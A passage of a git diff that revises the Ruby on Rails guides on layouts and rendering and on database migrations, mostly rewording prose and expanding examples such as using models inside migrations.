and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. +Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. Consider these actions to see the difference: @@ -553,7 +553,7 @@ def show end </ruby> -With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: +With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering: <ruby> def index @@ -570,9 +570,9 @@ end With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. -The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. -While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be: +While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: <ruby> def index @@ -588,7 +588,7 @@ def show end </ruby> -Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened. +This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened. h4. Using +head+ To Build Header-Only Responses @@ -598,7 +598,7 @@ The +head+ method can be used to send responses with only headers to the browser head :bad_request </ruby> -Which would produce the following header: +This would produce the following header: <shell> HTTP/1.1 400 Bad Request @@ -611,7 +611,7 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache </shell> -Or you can use other HTTP headers to convey additional information: +Or you can use other HTTP headers to convey other information: <ruby> head :created, :location => photo_path(@photo) @@ -633,15 +633,15 @@ Cache-Control: no-cache h3. Structuring Layouts -When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: +When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: * Asset tags * +yield+ and +content_for+ * Partials -h4. Asset Tags +h4. Asset Tag Helpers -Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails: +Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails: * +auto_discovery_link_tag+ * +javascript_include_tag+ @@ -650,11 +650,11 @@ Asset tags provide methods for generating HTML that links views to feeds, JavaSc * +video_tag+ * +audio_tag+ -You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. +You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +<head>+ section of a layout. -WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. +WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with +auto_discovery_link_tag+ +h5. Linking to Feeds with the +auto_discovery_link_tag+ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: @@ -663,13 +663,13 @@ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsread {:title => "RSS Feed"}) %> </erb> -There are three tag options available for +auto_discovery_link_tag+: +There are three tag options available for the +auto_discovery_link_tag+: -* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:rel+ specifies the +rel+ value in the link. The default value is "alternate". * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* +:title+ specifies the title of the link +* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS". -h5. Linking to JavaScript Files with +javascript_include_tag+ +h5. Linking to JavaScript Files with the +javascript_include_tag+ The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: @@ -738,7 +738,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to CSS Files with +stylesheet_link_tag+ +h5. Linking to CSS Files with the +stylesheet_link_tag+ The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+: @@ -764,7 +764,7 @@ To include +http://example.com/main.css+: <%= stylesheet_link_tag "http://example.com/main.css" %> </erb> -By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): +By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): <erb> <%= stylesheet_link_tag "main_print", :media => "print" %> @@ -797,7 +797,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to Images with +image_tag+ +h5. Linking to Images with the +image_tag+ The +image_tag+ helper builds an HTML +<img />+ tag to the specified file. By default, files are loaded from +public/images+. @@ -846,7 +846,7 @@ In addition to the above special tags, you can supply a final hash of standard H :class => 'nav_bar' %> </erb> -h5. Linking to Videos with +video_tag+ +h5. Linking to Videos with the +video_tag+ The +video_tag+ helper builds an HTML 5 +<video>+ tag to the specified file. By default, files are loaded from +public/videos+. @@ -882,7 +882,7 @@ This will produce: <video><source src="trailer.ogg" /><source src="movie.ogg" /></video> </erb> -h5. Linking to Audio files with +audio_tag+ +h5. Linking to Audio Files with the +audio_tag+ The +audio_tag+ helper builds an HTML 5 +<audio>+ tag to the specified file. By default, files are loaded from +public/audios+. @@ -933,7 +933,7 @@ You can also create a layout with multiple yielding regions: The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. -h4. Using +content_for+ +h4. Using the +content_for+ Method The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw: @@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: +In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. + +<erb> +<h1>Products</h1> +<%= render(@products) || 'There are no products available.' %> +</erb> + * +index.html.erb+ <erb> @@ -1179,23 +1186,11 @@ On pages generated by +NewsController+, you want to hide the top menu and add a <% end %> <% content_for :content do %> <div id="right_menu">Right menu items here</div> - <%= yield(:news_content) or yield %> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> <% end %> <%= render :template => 'layouts/application' %> </erb> That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +yield(:news_content) or yield+ with simply +yield+. - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index d60b68ec7f..23e36b39f9 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -17,7 +17,7 @@ endprologue. h3. Anatomy of a Migration -Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: +Before we dive into the details of a migration, here are a few examples of the sorts of things you can do: <ruby> class CreateProducts < ActiveRecord::Migration @@ -55,6 +55,8 @@ class AddReceiveNewsletterToUsers < ActiveRecord::Migration end </ruby> +NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. + This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered to have already opted in, so we use the User model to set the flag to +true+ for existing users. @@ -73,11 +75,9 @@ class CreateProducts < ActiveRecord::Migration end </ruby> -NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. - h4. Migrations are Classes -A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them). +A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two methods: +up+ (perform the required transformations) and +down+ (revert them). Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): @@ -91,13 +91,13 @@ Active Record provides methods that perform common data definition tasks in a da * +add_index+ * +remove_index+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. h4. What's in a Name -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. +Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+. @@ -115,13 +115,40 @@ h4. Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense. +In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless. + +h4. Supported Types + +Active Record supports the following types: + +* +:primary_key+ +* +:string+ +* +:text+ +* +:integer+ +* +:float+ +* +:decimal+ +* +:datetime+ +* +:timestamp+ +* +:time+ +* +:date+ +* +:binary+ +* +:boolean+ + +These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example + +<ruby> +create_table :products do |t| + t.column :name, 'polygon', :null => false +end +</ruby> + +This may however hinder portability to other databases. h3. Creating a Migration h4. Creating a Model -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running +The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running <shell> $ rails generate model Product name:string description:text @@ -235,7 +262,7 @@ end which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). -The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like +The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like <ruby> create_table :products do |t| @@ -243,7 +270,7 @@ create_table :products do |t| end </ruby> -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. +The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. <ruby> create_table :products do |t| @@ -251,7 +278,7 @@ create_table :products do |t| end </ruby> -By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example +By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example, <ruby> create_table :products, :options => "ENGINE=BLACKHOLE" do |t| @@ -259,19 +286,7 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t| end </ruby> -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). - -The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+. - -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example - -<ruby> -create_table :products do |t| - t.column :name, 'polygon', :null => false -end -</ruby> - -This may however hinder portability to other databases. +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+). h4. Changing Tables @@ -285,6 +300,7 @@ change_table :products do |t| t.rename :upccode, :upc_code end </ruby> + removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing <ruby> @@ -332,11 +348,11 @@ end </ruby> will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. +If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). h4. Writing Your +change+ Method @@ -344,7 +360,7 @@ The +change+ method removes the need to write both +up+ and +down+ methods in th * +add_column+ * +add_index+ -* +add_timestamp+ +* +add_timestamps+ * +create_table+ * +remove_timestamps+ * +rename_column+ @@ -355,7 +371,7 @@ If you're going to use other methods, you'll have to write the +up+ and +down+ m h4. Writing Your +down+ Method -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example +The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example, <ruby> class ExampleMigration < ActiveRecord::Migration @@ -386,22 +402,22 @@ class ExampleMigration < ActiveRecord::Migration end </ruby> -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done. +Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done. h3. Running Migrations -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. +Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits. Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run +version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run <shell> $ rake db:migrate VERSION=20080906120000 </shell> -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. +If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000. h4. Rolling Back @@ -419,13 +435,13 @@ $ rake db:rollback STEP=3 will run the +down+ method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example <shell> $ rake db:migrate:redo STEP=3 </shell> -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. +Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. @@ -433,7 +449,7 @@ NOTE: This is not the same as running all the migrations - see the section on "s h4. Being Specific -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example +If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example, <shell> $ rake db:migrate:up VERSION=20080906120000 @@ -456,8 +472,8 @@ By default migrations tell you exactly what they're doing and how long it took. Several methods are provided that allow you to control all this: -* +suppress_messages+ suppresses any output generated by its block -* +say+ outputs text (the second argument controls whether it is indented or not) +* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block. +* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. * +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. For example, this migration @@ -495,41 +511,108 @@ generates the following output 20080906170109 CreateProducts: migrated (10.0097s) </shell> -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. +If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output. h3. Using Models in Your Migrations -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. +When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. -Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist. +For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration. -Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example: +Consider this example, where Alice and Bob are working on the same code base which contains a +Product+ model: + +Bob goes on vacation. + +Alice creates a migration for the +products+ table which adds a new column and initializes it. +She also adds a validation to the +Product+ model for the new column. <ruby> -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base +# db/migrate/20100513121110_add_flag_to_product.rb + +class AddFlagToProduct < ActiveRecord::Migration + def change + add_column :products, :flag, :int + Product.all.each { |f| f.update_attributes!(:flag => 'false') } end +end +</ruby> +<ruby> +# app/model/product.rb + +class Product < ActiveRecord::Base + validates :flag, :presence => true +end +</ruby> + +Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column. + +<ruby> +# db/migrate/20100515121110_add_fuzz_to_product.rb + +class AddFuzzToProduct < ActiveRecord::Migration def change - ... + add_column :products, :fuzz, :string + Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end </ruby> -The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application. -h4. Dealing with Changing Models +<ruby> +# app/model/product.rb + +class Product < ActiveRecord::Base + validates :flag, :fuzz, :presence => true +end +</ruby> + +Both migrations work for Alice. + +Bob comes back from vacation and: + +# updates the source - which contains both migrations and the latests version of the Product model. +# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model. + +The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs: + +<plain> +rake aborted! +An error has occurred, this and all later migrations canceled: + +undefined method `fuzz' for #<Product:0x000001049b14a0> +</plain> -For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try to use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example +A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion. + +When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database. + +If Alice had done this instead, there would have been no problem: <ruby> -class AddPartNumberToProducts < ActiveRecord::Migration +# db/migrate/20100513121110_add_flag_to_product.rb + +class AddFlagToProduct < ActiveRecord::Migration class Product < ActiveRecord::Base end def change - add_column :product, :part_number, :string + add_column :products, :flag, :int Product.reset_column_information - ... + Product.all.each { |f| f.update_attributes!(:flag => false) } + end +end +</ruby> + +<ruby> +# db/migrate/20100515121110_add_fuzz_to_product.rb + +class AddFuzzToProduct < ActiveRecord::Migration + class Product < ActiveRecord::Base + end + def change + add_column :products, :fuzz, :string + Product.reset_column_information + Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end </ruby> @@ -545,7 +628,7 @@ There is no need (and it is error prone) to deploy a new instance of an app by r For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest. +Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality. h4. Types of Schema Dumps @@ -571,13 +654,11 @@ ActiveRecord::Schema.define(:version => 20080906171750) do end </ruby> -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. +In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. +There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+. -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. +Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it. h4. Schema Dumps and Source Control @@ -587,12 +668,6 @@ h3. Active Record and Referential Integrity The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. +Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints. Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog - -* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com -* July 